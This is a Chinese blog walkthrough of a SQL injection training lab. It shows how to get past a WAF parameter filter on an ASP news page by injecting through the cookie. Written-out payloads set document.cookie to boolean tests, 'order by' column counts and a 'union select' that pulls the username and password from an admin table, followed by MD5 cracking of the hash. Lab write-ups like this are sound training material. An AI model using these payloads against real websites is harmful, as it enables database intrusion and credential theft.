SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)

如图是封神台的一个SQL注入靶场,

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第1张图片

进入网站后观察了一下网站的url发现没什么有用信息,随便进入了一个旁站,找到了想要的信息

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第2张图片

首先我是想通过SQLMAP直接进行跑,发现跑不出来,然后想着手工注入,发现靶场设置了参数过滤。

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第3张图片

 因为我们目前是使用get方式进行传参,又因为有弹框,所以我想到了cookie注入的方法。

  操作过程:

1:首先我们访问正常的网页http://kypt8004.ia.aqlab.cn/shownews.asp?id=171,等页面打开后我们清空url栏,然后我们写上:javascript:alert(document.cookie="id="+escape("171"));这里的171即使原网站url的171.注意(当你复制javascript:alert(document.cookie="id="+escape("171"));这个时,javascript会被过滤掉需要自己输入),写完后回车发现弹出对话框id=171,单击确认。

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第4张图片

2:验证是否改好了cookie,首先新建一个窗口,输入http://kypt8004.ia.aqlab.cn/shownews.asp?,将id=171去掉看看能不能正常访问,发现可以正常访问,这样就说明网页在使用request方法获取参数,可能存在cookie注入漏洞。

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第5张图片

使用 javascript:alert(document.cookie="id="+escape("171 and 1=1")); 判断页面是否正常

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第6张图片

使用javascript:alert(document.cookie="id="+escape("171 and 1=2"));发现页面出错

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第7张图片

3:获取字段数:首先我们使用order by 语句判断出当前执行数据库查询的表的字段数,我们输入:javascript:alert(document.cookie="id="+escape("171 order by 10")); 发现网页没有变化

但当我们输入 javascript:alert(document.cookie="id="+escape("171 order by 11")); 显示数据库出错,说明字段数为10(这个是需要一个一个试的)

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第8张图片

4:获取数据表名:这里我们需要用到联合查询语句我们输入:javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin"));admin是我们猜测的数据表,回车刷新原网页,知道了会显示字段为2,3,7,8,9

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第9张图片

5:查询列表并得到列名的值:我们在2和3地方用password和username代替:输入javascript:alter(document.cookie="id="+escape("171 union select 1,password,username,4,5,6,7,8,9,10 from admin"));

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第10张图片

 6:最后使用MD5解密就ok了

SQL注入攻击,遇到防火墙拦截(cookie注入基本用法)_第11张图片

以上既是cookie注入的基本用法,谢谢大家的观看!

 

 

 

 

 

 

 

 

你可能感兴趣的:(信息安全,web安全)